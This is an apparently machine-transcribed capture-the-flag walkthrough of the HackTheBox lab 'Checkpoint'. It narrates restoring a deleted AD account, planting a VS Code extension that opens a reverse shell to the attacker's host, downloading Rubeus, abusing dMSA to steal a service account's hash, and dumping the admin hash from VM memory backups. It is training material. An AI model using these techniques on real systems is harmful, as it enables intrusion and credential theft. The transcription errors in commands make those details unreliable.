HackTheBox - Checkpoint
Transcript
Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.
What's going on YouTube? This is Ippsec, and today I'll be doing checkpoint from Hack The Box, which is an assumed breach Windows box, meaning we start out with a set of credentials. I really enjoyed this box because there is no web. It starts out with finding out that our account can reanimate tombstones, which is just a way to undelete accounts from Active Directory. The account we recover has the ability to install Visual Studio Code extensions, which is a really nice persistence vector, but also has been used in some supply chain compromise style of attacks. Once we do this, we discover we have a generic right over another user, but without ADCS, it's to get onto that account. Thankfully, this is Windows 2025, and we have all the needed things to configure a delegated managed service account, also known as dMSA, to take over this account. This gives us the ability to read backups, and we can either try to exfil the giant files and run volatility, or just run a tool like VM cats on the box locally to dump sensitive information. So, with all that being said, let's jump in.
As always, we're going to start off with an Nmap, so -sC for default scripts, -sV to enumerate versions, -sS reason to give us things like the TTL, -oA output all formats in the Nmap directory and call it checkpoint, and then the IP address of 10.129.137.130.
This scan takes some time to run, so I've already ran it. Looking at the results, we have quite a few ports open. It looks like 12, cuz we see 988 here. But, the first one is DNS on port 53 TCP. It says simple DNS plus, so I'm going to assume this is Windows Active Directory, and we do see that. The domain is checkpoint.htb, so I'm going to add this to my host file. So, let's do a copy, and then sudo vi /etc/hosts, and 10.129.137.130
And let's see what else we have. Now, one thing that I am noticing is normally when I do this command, I can get the fully qualified name. I see like dco1.something the domain. I don't see that here. So, I'm guessing like HTTPS is not configured at all or something, or there's no certificate authority or something like that, because that the certificate is normally what leaks the actual box name. We can still get it with NetExec. It's just something interesting to note that may be important a little bit later on. The TTL is all 127. So, this is just one hop away. There's no like Hyper-V or VMware in play.
Uh we have WinRM. And I don't see any like um web server, right? We don't have 80, we don't have 443. This is a assumed breach box though. So, we do start out with a set of credentials. And I have that here. So, let's just do NXCSMB. I'm going to do checkpoint.htb. And as an unauthenticated user, we can also get the um host name of the box, which is just DCO1. We see it's also Windows Server 2025. So, let me just add this real quick. We're going to do a DCO1 checkpoint.htb
DCO1. There we go. Save that. And let's see. Uh this is assumed breach. So, I'm going to do {dash}u alex.turner and {dash}p checkpoint2024 {exclamation} point. So, running this command uh we see we authenticate. Uh we could try like WinRM to see if we get a shell, but it's never really that easy, right? Um I don't know if there's any assumed breach that just starts it. And I don't know what that error is. Um Copy then remove. Let's just remove this WinRMDB and run this again. Uh did not
expect that. But there we go. Um it does not work. So, if we do this SMB, the first thing I like checking is just the users on the box. See the descriptions, at least I think descriptions they are um set. And we can see what we have uh krbtgt user, Alex Turner. Uh a service deploy that is a deployment service account. And nothing else really. I guess the interesting thing to me though is we see a lot of passwords set around the same time. We see Max Palmer is set on 526.
Um and then Ryan Brooks is set on 510.
So, these two accounts stand out. So, I'm I'm at some point I have to get over to these accounts, but there's nothing really else to look at here. Um what else could we do? Uh let's see.
There was a file share, so if I do {dash} {dash} shares, um we can see that at least there wasn't a file share we saw. We saw there was SMB open, so I always like looking at file shares when I see that. Uh the read we have devdrop, which is Visual Studio Code extensions for Prud v6 package compatible with VS Code engine 1.18.0. Um that's interesting. All the rest aren't really, so let's do like SMB client.py. Uh let's see. alex.turner:check
point2024!@ Uh is it checkpoint .htb? Put this in quotes cuz we do have a special character in the exclamation point. Uh we can use the share use devdrop. Uh maybe it's ls. There's nothing in here. Is it like an ls {dash} a? I don't know the syntax if it show me hidden files, but this file share looks empty. Uh let's see. What else could we do? I'm just going to do a um {dash}h really quick to see if there's anything I'm missing. I guess we could do like um {dash}L to show like SMB options. We could start looking at LDAP, but at this point um
probably want to look at like BloodHound or something like that, right? So, I'm going to go and take a look there. So, let's do uh rusthound CE
uh {dash}u. Uh what is it? Uh let's see. User {dash}u{dash}p. Okay. {dash}u alex. I forgot it already. cat creds .turner {dash}p
checkpoint2024!
Uh {dash} I think F for FQDN dcr1.checkpoint.htb.
{dash}D for domain checkpoint.htb -z to zip it up. Uh, we need I guess Kerberos. Uh, let's see. Cannot find KDC realm. So, let's go back to our net exec command. And I'm going to say gen Kerb 5 file. Maybe it's generate. Um, let's do checkpoint. Kerb 5.
I think it's generate.
And that's just going to create that like Etsy Kerberos file for us, but I don't like copying it over there. Um, I just run this export command and then everything in this session will have the right Kerb file. So, let's just go up to my Rust Hound command, run this again, and now we can authenticate. Awesome. So, we have the BloodHound data here. I'm just going to do a open to get a file browser. Let's do localhost. Uh, 8080.
Uh, I thought BloodHound was running.
There we go. Come on. It's loading. It's taking its time. I'm going to go over and drag the BloodHound data here. Okay. We can upload it. Upload is in progress.
If I go, let's see. Where is it? Administration? Database management? No. File ingest.
Let's see. It is currently ingesting. It generally takes around a minute to ingest these files. Um, let's see. Is it done? It's still ingesting. So, what else could we do? Um,
we can start looking at like Bloody AD as well. So, if I do Bloody AD, uh, host dc01.checkpoint.htb
user is Alex Turner. Uh, the password is checkpoint 2024 bang. And then I always like running get writable. And let's see what we have here cuz this is going to list all like the unique things we can write. And we can write over deleted objects, which is definitely interesting. Um, we also have create child in the employees OU. Let's see what else we have. Uh, we can
write Alex Turner, it looks like. Um, write Mark Davies. This is probably a deleted object. Uh, create child here.
So, let's see. Is BloodHound up? It is complete. So, let me go back to explore. And then I'm going to say Alex Turner. And let's see what we have. So, let's add to owned. Did that work? Come on. Add to owned. There we go. I think it's there. The icon never showed up, but oh well. Um, let's look at outbound permissions. So, I have generic right over Mark Davies. So, what can we do with generic right? Well, we could potentially do a shadow credential, but ADCS is not installed. Uh, so that will probably fail. Uh, we could try changing the password. So, let's try um, checkpoint and then what is it? Is it like set password? I think this is going to fail anyways cuz we need to know the old password.
But, let's do set password mark.davies and then password one.
And that fails. Um, let's see.
Oh, let's see. Oh, it was Alex Turner. I had write permission to. That is myself. So, that is not interesting. I can write myself. Um Mark Davies, this account is in the deleted object. And since we can write to deleted objects, there's a chance that we can take over this account. Um we'll get into that in a minute. I do want to keep looking at this. I don't know is BloodHound supposed to be telling me this right now? Mark Davies, okay, it does. It's just pointing him to a deleted object. Um
So, let's see. What is Mark Turner interesting? A member of
We're member of VPN users, IT staff, domain users, authenticated users. So, nothing too interesting here. Um let's see. If we went over to like Cypher, if we did saved queries, we could start clicking through things. There's nothing really interesting here. There is a indicator that we're going to use a delegated managed service account cuz this OU is not um default. It's called DMSA holder. So, that is interesting. That's the only real interesting thing I found in BloodHound. Um
I'm actually still curious like when I originally ran BloodHound, I don't think I saw this outbound control, but I updated RustHound and BloodHound before this video. And now this is showing up. So, I think this is kind of new. But if you did just run BloodHound and looked at what Alex Turner can do, there is a big indicator that you can um restore this object, right? Cuz we have generic right over a user and that CN points us to a deleted object. So,
let's go ahead and take a look at this. So, that's going to be the NXE tombstone command. Uh let's go back to where NXE is. So, we have all those options. That's going to be an L that Alex Turner. Um if I do is it a dash capital L to list modules? This will list what modules are available. This is a relatively new module to run. So, if you don't have this, um you probably have to update NetExec. So, we can run this tombstone. So, if I just do a {dash} capital M on tombstone, we'll be able to see Come on. It's thinking. It's thinking.
I hope it's thinking and not just hung.
Um I wonder if we have to give it a Oh, we probably should have gave it like a account or something. Uh but we can see it's querying the recycle bin, and we see Mark Davies is a deleted user. I'm going to go ahead and copy this ID on my clipboard just so I have it. If you look at {dash} {dash} options, it's going to list what options are available to you with this um module. And there is a option to restore an account. That is {dash} O action is equal to Whoops. Action restore
and then ID paste that ID of the account. And now that is going to restore Mark Davies. So, Mark Davies will no longer be a deleted user. So, let this run. I don't know why it's taking so long. Um
But there we go. Trying to find object given ID. It looks like that the last known parent is in the employees OU. So, now we have successfully restored Mark Davies. Um I'm going to go up real quick. Uh was it {dash} {dash} user? Come on. Uh {dash} {dash} users?
There we go. I'm just looking at these users. We see 17 local users on this domain. Mark Davies was not here, right? I don't see Mark Davies. I'm going to run that command again. So, we just run {dash} {dash} users, and now we're going to see, hopefully, Mark Davies. Now, something is interesting. Um Mark Davies has the same exact last password set. Now, when I restore an account, it's not going to um set their password to the account password that this user is. It just so happens that these accounts were set at uh the password was set at the same exact um minute, right? Not second because this is 40 seconds after. But, I'm going to think it may be a duplicate password or same password, right? So, if I do a um Mark Davies here
on Check Point 2024 bang we're going to see it authenticates. So, through password reuse, it's probably the help desk setting the password for these accounts. Um we can gain access to this account. We could also try spraying it with all the accounts. Let's try um
Megan Perry and I don't think this works. But, honestly, I don't know if I try Wait, hold on. Uh let's get rid of that A. Do it at the right field. Megan Perry. There we go. Um we'll see if this works. It probably does not. No, it doesn't. So, now we are the Mark Davies user. So, let's see what is interesting about Mark Davies. I always like going to BloodHound first because it's all passive once I have this data, right? If you can get this data without setting off any alerts, it is definitely a goldmine because now I don't have to query the domain controller every time I want to see something, right? So, if I look at Mark Davies I'm just glancing over here. I don't see anything too interesting.
We don't have any outbound control. Uh if I look at member of we're not really a member of anything interesting. So, there's nothing in BloodHound that's really telling us anything unique about this user. Um So, let's see. If we do a dash dash shares to see what is here. Let's see what Mark Davies has access to. Uh we now have read write over top of dev drop. So, I was kind of expecting in BloodHound for this user to be shown as a group and maybe they are and it didn't get the group because um they were deleted. I don't know. Let's check real quick. Bloody AD checkpoint. Uh this is going to be now Mark Davies. Is it like get groups?
Uh let's see. I'm just going to do get {dash} H. Get children membership membership. That sounds good.
Uh get membership Mark Davies. Is that going to tell me? Uh CN users domain users. Um I just want to try this with Alex Turner cuz they were member of a bunch like VPN and stuff. Yeah. So Mark Davies doesn't look like they're a member of anything interesting. I was kind of hoping there was like a uh developer group or something and that developer group is what gave me access to the dev drop file share but that's not the case. So looking at NetExec we can see I can read write to dev drop. So dev drop's description is VS code extension share for approved V6 packages compatible with VS code engine 1.8 uh 118.
So let's go ahead and go over to Google and I'm going to search like um
create VS code extension cuz my guess is
I have to create a Visual Studio extension to drop in here. Now there's probably a lot of projects on GitHub that do this all for you but I like to stepping through it and looking through um how to do it myself, right? So it wants us to run this NPX command. I'm laughing at the package yo and it's yo code. Uh but yeah, let's just go ahead and create this. So I'm going to do this NPX command. That's going to generate the basic structure for my package of yo code. Um and then let's see. I guess we could do NPM install as well. But that should create this code directory.
Uh what do we want to do? TypeScript, JavaScript, let's just do TypeScript. Name of the extension, I'm going to call it pone. Identifier, pone. That's your description, sure. Let's not do a get repository. Um unbundled, npm, sure.
Uh now it's going to start creating everything for me. Um Let's see. Unsupported engine.
Uh let's see. Let's not open it with VS Code. I'm just going to do it all through them. So, here we go. We have our package. I'm going to go into the uh source directory. And then we have extension.typescript. I don't know TypeScript. So, let's go ahead and find like a reverse shell um payloads. I'm just going to Google rev shell and pull some JavaScript one cuz I think that will be compatible. The thing to keep in mind though, this is going to be Windows. So, I want to try to keep this as much and um TypeScript or Java as I can. Is there a TypeScript? There is not.
But, it should be compatible with Java. Uh looking at this, um I don't think that would work. Um let's see. There is a search here. There is no TypeScript. Uh there is node. Node.js. This is what I wanted, actually. Um the first one I don't want to use because we'll have to do it with Windows and also most Linuxes don't have this netcat -e. The second payload looks much better. So, I'm just going to go ahead and copy this. And we're going to paste this into our extension right here. Uh we probably don't need to copy the whole function. So, let's delete that line. There we go.
So, we just have our net and client. That looks fine. I'm going to keep sh cuz I want to run it locally against myself first. Um and then once we know it works, then we'll put it to like cmd.exe. Uh my IP address, let's see. 10 10 15 86. So, I can do 10.10.15
86. There we go. Port 9001, that looks
good. So, let's go ahead and save this.
And we want to package this up so we can run it. Um, running VSCE package to
build this. If you don't have this, it was just a npm install uh, {dash}g {at} vsco/vsce to, um, get this binary on your system. Uh, let's see, it seems readme still contain hit one that care matters. Uh, let's see, this is a readme uh, poem. This is a great legit program.
And the feature set, um, lets me run code on your machine.
Is that going to be enough? Uh, but we're going to package this up and then hopefully, once we package this up, we'll be able to install it to our Visual Studio Code and then catch that reverse shell. Um, there are a few things I have not done yet, but I do want to show that real quick. Our repository is missing package. Uh, yes, I want to continue. Yes, I want to continue. There we go. Um, so let's go ahead and install it. So, we'll do code install extension,
um, and then the VSIX file it created.
And we get, let's see, it is not compatible with VS Code 1.126. So, let's go ahead and edit our package.json. And we can say what engine it is. We're on 1.140. So, this engine's newer than my Visual Studio, so it's not going to work. Um,
if we looked at the share, it did say what engine it was running on. So, I'm just going to set it to that engine. Probably anything below 1.118 will work. But, the logic behind why unspecifying engine 118 is that's what that description on the file share said. So, let's go ahead and package this up again. And then I will run it. And now we get our um VS Code 1.14.0 is greater than this.
So, let's see. Um I'm going to do npm install save dev types VS Code at 1.18.0.
So, this is just going to switch the engine to use that. So, now if I do VSCodium package, hopefully this time it all compiles. Come on. It is loading.
Um yes, we want to continue. Yes, there we go. So, now we have it. I'm going to do that code command again to install it. Let's listen on 9001.
And while that opens,
uh wait, it's installed. So, now I should do code? I thought it was going to open for me.
But, VS Code is in the process of opening. While that does, I just want to double-check the IP address, right? So, I'm going to do grep 10.10.15.86 on uh not ESLint. Uh
let's see. Source extension.d.ts. Yep, that is the right IP. So, there we go. We have this. Uh I don't know what binary that it just randomly decided to load, but let's go ahead and look at our extensions.
Looking down, I do we have Pwn?
I don't have an extension called Pwn. They're not installed.
I think I missed an error as I was talking. Let's exit that. npm save dev to I not install it? I think I may have like recompiled something and not go to install. Which would not surprise me. Uh let's do code now. Come on. Load up. Uh let's do view. Extensions. Installed 11. I wish I knew how many extensions I had. There we go. Pwn is now installed.
But we don't have a shell. If we look here, we can see if it's loading extensions. I think it already passed that point. And we don't have one, which is a bit concerning. So let's look at our um I guess we can look at the package.json. Uh let's actually V source and look at extension.typescript. So upon activating we should be running code, right? It's doing a console.log saying it is active.
Um is like a view console, extensions, chat, browser. Uh debug console. Help part. Debug console. I wonder if it even tell me after I open this. But we don't see that. So let's see, what could we look at? If I look at package.json.
Let's see. Um we got activation events and we don't have anything here. So um let's go to Google. Come on. Load Google. VS code
plugin activation events to see what events are available to us.
There should be like a startup event or something. Like maybe we're just not hooking the right thing. Um let's see we got on debug, on command, on file system.
Uh let's see, on issue. There is on startup finished. So let's go ahead and put that under our activation. And then we want to
repackage this up and we're going to install it and then try again. So let's close this window.
It is compiling.
Yep. Yep. There we go. VSCE uh we just did that. Install extension. There we go. Let's do code.
It's going to start up again.
I wonder if it's going to save my debug window. It does. Um output. Debug console. I'm hoping it shows like that console log. It says activating extensions. So it hasn't activated them all yet.
Uh we don't have anything in output debug console. But if I go back here, we have a connection received. So PSEF and it's working. So our shell works. So let's go ahead and um edit our package one last
time. Let's do V source um extension.typescript and instead of SH I'm going to do cmd.exe. If I knew JavaScript better, I'd probably put like a if Windows then run SH if not then run cmd.exe or something
like that. But I'm just going to be lazy and assume um if it's Windows cmd.exe will work,
right? There's always the chance that I'm like running on Windows subsystem for Linux which SH could work, but no matter what um cmd should always work on Windows, right? I guess if like AppLocker or something is blocking it, it wouldn't, but that is really nitpicking. So, let's go ahead and uh, NCLVNP 9001.
Let's do an RL wrap. And we want to upload this. So, I'm
going to do SMBclient.py. Um, was it Mark Davies? And then Checkpoint 2024 bang, I want to
say, and Checkpoint.htb.
Uh,
do I have the host name wrong? Did I get everything right but that? Uh, Checkpoint.htb. Uh, oh, I said at, but I put colon. There we go. Uh, shares. Let's use
uh, dev drop. There's also a VM backup share that we don't have read access to, which is interesting. Um, let's just put What is the extension name? Uh, pwn v6 like this.
There we go. Extension has been uploaded. So, I'm just going to do a sleep 60 and we'll wait a minute. Hopefully, we get a shell, right?
Uh, we could just come back in a minute or 2 minutes, whatever it is. Do a LS, see if this gets cleaned up and or if we have a shell. Um, I was hoping I got lucky and got it while I was talking, like I just did. Uh, we have the shell. It doesn't look like they got cleaned up, but if I do a who am I, we are now Ryan.Brooks. So, I'm going to go ahead and now go back into BloodHound. Let's see what Ryan can do. So, if I go to Ryan.Brooks,
come on. Let's mark them as owned real quick. It's always a good habit to mark things. Even if it doesn't seem to be as like responsive as I want it to. Uh let's see. Outbound object control, we control something. We have generic right over top of service deploy. Um let's see. And what does service deploy can do? I don't want to mark it owned just yet. Uh it's let's see what it's a member of, I guess. Service deploy is a member of backup access. So, I'm guessing this account can probably access that VM backups file share. So, this is definitely going to be a high value target. I'm just going to put it as tier zero, I guess. Is it high value or is it only tier zero?
I could have sworn there used to be high value, but okay. Let's just do that. Um So, we got to find a path between Ryan and that user. And BloodHound doesn't make anything that obvious, right? Uh let's see what I'm a member of. I'm a member of dev team. I want to say that one's new.
Let's see. Can dev team do anything? It would show me an outbound object control if it could, right? Um yeah. What is dev team a member of or members? So, these are the users that are member of it. Okay, that's not too interesting. Um Let's go ahead and get a Kerberos ticket back. So, I'm going to make a directory dub dub dub. We're going to go in there. We're going to copy um Rubeus.
So, net framework 4.7 any sure. And we're going to do a TGT dele- delegation, so we can get a ticket back to us, and that's going to enable us to do like bloody AD and things like that because I find that to be a much easier way to enumerate than through command prompt and PowerShell, right? That's the
um environment I know. So, I can do Python HTTP server. Uh let's go into program data. And there are a lot of .NET tools that we could do locally on the box um like everything we do on our Linux box you can obviously do on Windows. It's just I know the Linux stuff better. So we'll do curl 10 10 15 86 8000
Rubeus.exe output to r.exe
That should download. And then I mean it says TGT deleg, right? There we go. We get a ticket. Let's go ahead and copy said ticket.
Come on. There we go. And I'm going to do Ryan. What is this
username? uh Brooks .um
I think Kirby B64 I think it was a Kirby. I think that's what it's called. um I guess we can remove space.
There we go. I don't think that was needed but I just like doing it. B64-d Ryan to Ryan Brooks.Kirby
And now we want [snorts] to run ticket converter. Ryan Brooks.Kirby Ryan Brooks. ccache
Okay. And let's see. Now I can run um Kerby 5 CC name is equal to
this bloody AD Do I have the command still here probably? Yeah. Let's just go on this pane. um
Kerby 5 CC name
There we go. I'm just going to export that actually.
>> We should be able to specify {dash} K, right? Does this authenticate now? It does. So, let's do Let's try get writable here as Ryan Brooks. See what I have access to. Um let's see. We have create child and dmsa holder. Uh we can write on ourself. We can write on service deploy. And what not. So, what we can do is I think it's called better successor here. Um dmsa this is a delegated managed service account. I think it was like the box 18. Uh let's see. Hold on. Can I find that real quick? If I go to ipsec.rocks and then I'm going to type dmsa.
dmsa Um bad Yeah, 18. Um this was using a actual CVE with bad successor. So, what a delegated managed service account is is it's a way to proxy authentication essentially to an account. So, think of it kind of like sudo, right? Um we're using this to gain
access to service deploy because we have generic right over service deploy and we can uh create child in this OU. Um
The bad successor attack, it only checked one way of delegated managed service orders. So, essentially, I could write to myself and say, "Hey, I'm a dmsa of service deploy." And then it would just let me magically authenticate to this account. Bad successor got patched in like 2025, I want to say. And dmsa still exists. It's a good thing. You should be able to like share access to service accounts. Like it's an intended thing, good um to have. But the fix was you need to have right access on the service account cuz they assume if you can write on the service account you have access to it anyways. Uh we could try to steal the hash by editing its um don't require pre-auth. We could uh create an SPN and try to take it over that way.
Um if active Directory Certificate and Services was installed, we could create a shadow credential. There's a lot of ways we can attack this. Um, none of those ways works for us right now, but the delegated managed service account does. So, essentially, we are going to, um, write on service deploy that says Ryan Brooks can access it, and then create that, um, shared account, essentially. So, that's going to be what we do. I think it's called Better Successor if you want to search for it. So, let's go back to the bloody AD command. And we want to do add bad successor.
Um, and then, let's see.
DMSA, no need. What is it?
I think we do anything here. So, I'm just going to say, um, DMSA, IPSec. Uh, the OU. We want to get this holders OU. So, let's go back to Ryan Brooks. Uh, hold on. DMSA holders, there we go. Get here so we can copy
this. There we go. So, we're going to copy that. And then the target is going to be the service deploy account, cuz that's what we have right access to.
Click on this. I already did the CN is equal to. I don't like that this is still highlighted. Hope I don't copy too much.
Copied slightly too little. Let's add the S.
There we go. So, we have created the delegated managed service thing of FMSA. SA I type of that that should be DM SA. But this is going to be the principal that allows me to access the account, right? The DM SA current key is this. We have the NTLM hash of the target account right here. So if I now do net exec SMB 10 10 or I don't even know that IP anymore. Let's do checkpoint.htb service deploy. I think dash capital H for hash. We can put this in and hopefully we get authenticated. We do. Um I'm just doing an invalid hash with the eight at the end instead of nine and you see logon failure.
So there we have it. We are now service deploy. Um is it going to be easy for us to win RM? It looks like it is. We can win RM. We could also uh do the SMB client again. Uh SMBclient.py dash uh it's not dash U. SVC
deploy at uh checkpoint.htb
dash hashes I think will let me do pass the hash, right? There we go. Um I do just want to show like we have access to this VM backups. Um use VM backups. But the files in here are huge.
Um and doesn't let me do wild cards. That's annoying. Uh go in here. Do a LS. Go into memory forensics.
Oh my god.
Uh CD CD There we go. It's one of the weird times where you don't need a space. Um all these files are
I think that's like 200 Oh no, it's probably like 20 gigs. Um but this is going to take forever for me to copy back to my machine to do any analysis. Now we have like the virtual memory file, so we can just like run volatility on this and then export a bunch of good things, like the LSA process, so we can get like the NTLM hash of whoever's logged in and things like that. We have the VMDK, so we can just dump the SAM, like if we download these files, we have pwned the server. Um but downloading them is going to take a long time.
And I want to do it a bit faster. So, I'm going to use a program called VM Cats. But to do that, let's get on the box. I'm going to Google um VM Cats.
And in the readme, it's going to tell the exact purpose of it is pretty much what I said, right? Uh we go here. You're 3 weeks into a red team engagement. You land on a NAS attached to a virtualization cluster hundreds of gigs big of VMDK, VMSN, or safe file sitting right there. But our link does 200 kilobits a second. Exfiltrating a single 100 gig disk would take 6 days. So, all it is is a program that's going to let us um pillage the virtual machine file on the host itself, so we don't have to worry about copying it back to us. Uh very handy.
So, let's just copy this link. Uh actually, not that link. Let's go here. Uh VM Cats Windows, yep. Copy.
We'll do www. wget.
And we can 7-Zip extract this.
Uh when we have the file there, awesome.
I'm doing a curl http 10.10.15.86:8000
vm cats.exe vm cats.exe.
We've now downloaded it. Wrong shell, though. Right? That's not my evil WinRM. That's not. Did I close evil WinRM?
I guess I did.
Let's just go here. Or maybe I never did with Evil-WinRM. I probably um showed it in that exact, right? Uh is it dash I?
Please say that works. Connecting, it looks like it is. There we go. So, what we're going to do is find where that file share is. So, we go CD shares and VM backups. That was easy. Um nightly, we should have
um wild cards to make this easy. And let's do program data VM cats.exe
cuz we already downloaded it. And I'm going to point it at the Vmem file.
Um DIR program data.
I could have swore I downloaded it.
Did that not download? I probably don't have my web server up anymore.
I did not. That's probably why it didn't download.
Try this again. There we go. So, now it is thinking. It's going to analyze this virtual memory file. And hopefully, the virtual memory file will give us what we need. Um Kind of surprised we don't have any output whatsoever right now. Normally, we have something outputted to the console, but the good news is we don't have anything like a prompt back, right? There we go. So, we have potentially a SAM hash of administrator. Let's go ahead and try this. Uh we can do Evil-WinRM pi uh checkpoint.htb administrator capital H and that's definitely not the hash. That is. And there we go. We are now administrator. So, if we use cd. dot desktop, we can get the flag.
Where is the flag? Uh it's probably in Max Palmer, right? That was also a DA.
There we go. We get the flag there. Uh let's make sure we can read it that like some Windows encryption thing is not there. It's not. There we go. So, that is going to be the box. Hope you guys enjoyed it. Take care and I will see you all next time.





